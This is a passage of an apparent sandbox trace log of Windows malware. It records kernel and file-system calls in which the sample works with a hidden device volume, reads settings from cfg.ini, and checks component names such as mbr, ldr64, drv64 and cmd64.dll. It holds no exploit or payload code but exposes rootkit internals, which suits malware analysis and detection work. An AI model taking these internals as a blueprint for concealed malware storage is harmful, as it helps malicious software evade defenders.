VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.411] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.411] IdePortDispatch () returned 0x103 [0126.411] KeWaitForMutexObject () returned 0x0 [0126.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.411] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.411] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.411] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.411] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.411] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa1b0 [0126.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.411] KeLeaveCriticalRegion () [0126.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.411] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.411] KeEnterCriticalRegion () [0126.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.411] KeLeaveCriticalRegion () [0126.412] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.412] KeEnterCriticalRegion () [0126.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.412] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.412] IdePortDispatch () returned 0x103 [0126.412] KeWaitForMutexObject () returned 0x0 [0126.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.412] KeLeaveCriticalRegion () [0126.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.412] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.412] KeEnterCriticalRegion () [0126.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003490000 [0126.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.412] IdePortDispatch () returned 0x103 [0126.412] KeWaitForMutexObject () returned 0x0 [0126.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.412] IdePortDispatch () returned 0x103 [0126.413] KeWaitForMutexObject () returned 0x0 [0126.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.413] KeLeaveCriticalRegion () [0126.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.413] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.413] KeEnterCriticalRegion () [0126.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.413] KeLeaveCriticalRegion () [0126.413] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.413] KeEnterCriticalRegion () [0126.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.413] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.413] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.413] KeLeaveCriticalRegion () [0126.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.413] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.414] KeEnterCriticalRegion () [0126.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.414] ExFreePoolWithTag (P=0xfffffa8003bfa1b0, Tag=0x0) [0126.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.414] KeLeaveCriticalRegion () [0126.414] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.414] ReleaseMutex (hMutex=0xf0) returned 1 [0126.414] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.414] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.414] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.414] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.414] KeEnterCriticalRegion () [0126.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.414] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.415] IdePortDispatch () returned 0x103 [0126.415] KeWaitForMutexObject () returned 0x0 [0126.415] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.415] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.415] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.415] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.415] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.415] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.415] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.415] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.415] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.415] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.416] KeLeaveCriticalRegion () [0126.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.416] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.416] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.416] KeEnterCriticalRegion () [0126.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.416] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.416] IdePortDispatch () returned 0x103 [0126.417] KeWaitForMutexObject () returned 0x0 [0126.417] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.417] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.417] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.417] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.417] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.417] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.417] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.417] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.417] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.417] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.417] KeLeaveCriticalRegion () [0126.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.417] ReleaseMutex (hMutex=0x100) returned 1 [0126.417] Sleep (dwMilliseconds=0x2bf20) [0126.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e8c9ed0, dwHighDateTime=0x1d24fa4)) [0126.424] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.424] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.424] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.424] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.424] KeEnterCriticalRegion () [0126.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.424] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.424] IdePortDispatch () returned 0x103 [0126.424] KeWaitForMutexObject () returned 0x0 [0126.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.424] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.424] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.424] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.424] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.424] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007081bc0 [0126.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.424] KeLeaveCriticalRegion () [0126.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.424] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.424] KeEnterCriticalRegion () [0126.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.424] KeLeaveCriticalRegion () [0126.424] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.424] KeEnterCriticalRegion () [0126.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.424] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.425] IdePortDispatch () returned 0x103 [0126.425] KeWaitForMutexObject () returned 0x0 [0126.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.425] KeLeaveCriticalRegion () [0126.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.425] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.425] KeEnterCriticalRegion () [0126.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.425] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003495000 [0126.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.425] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.425] IdePortDispatch () returned 0x103 [0126.425] KeWaitForMutexObject () returned 0x0 [0126.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.425] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.425] IdePortDispatch () returned 0x103 [0126.425] KeWaitForMutexObject () returned 0x0 [0126.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] KeLeaveCriticalRegion () [0126.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.426] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.426] KeEnterCriticalRegion () [0126.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] KeLeaveCriticalRegion () [0126.426] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.426] KeEnterCriticalRegion () [0126.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.426] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] KeLeaveCriticalRegion () [0126.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.426] KeEnterCriticalRegion () [0126.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] ExFreePoolWithTag (P=0xfffffa8007081bc0, Tag=0x0) [0126.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.426] KeLeaveCriticalRegion () [0126.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.426] ReleaseMutex (hMutex=0xf0) returned 1 [0126.426] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.427] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.427] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.427] KeEnterCriticalRegion () [0126.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.427] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.427] IdePortDispatch () returned 0x103 [0126.427] KeWaitForMutexObject () returned 0x0 [0126.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.427] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.427] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.427] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.427] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.427] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa360 [0126.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.427] KeLeaveCriticalRegion () [0126.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.427] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.427] KeEnterCriticalRegion () [0126.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.427] KeLeaveCriticalRegion () [0126.427] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.427] KeEnterCriticalRegion () [0126.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.427] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.427] IdePortDispatch () returned 0x103 [0126.427] KeWaitForMutexObject () returned 0x0 [0126.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.428] KeLeaveCriticalRegion () [0126.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.428] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.428] KeEnterCriticalRegion () [0126.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.428] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003496000 [0126.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.428] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.428] IdePortDispatch () returned 0x103 [0126.428] KeWaitForMutexObject () returned 0x0 [0126.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | 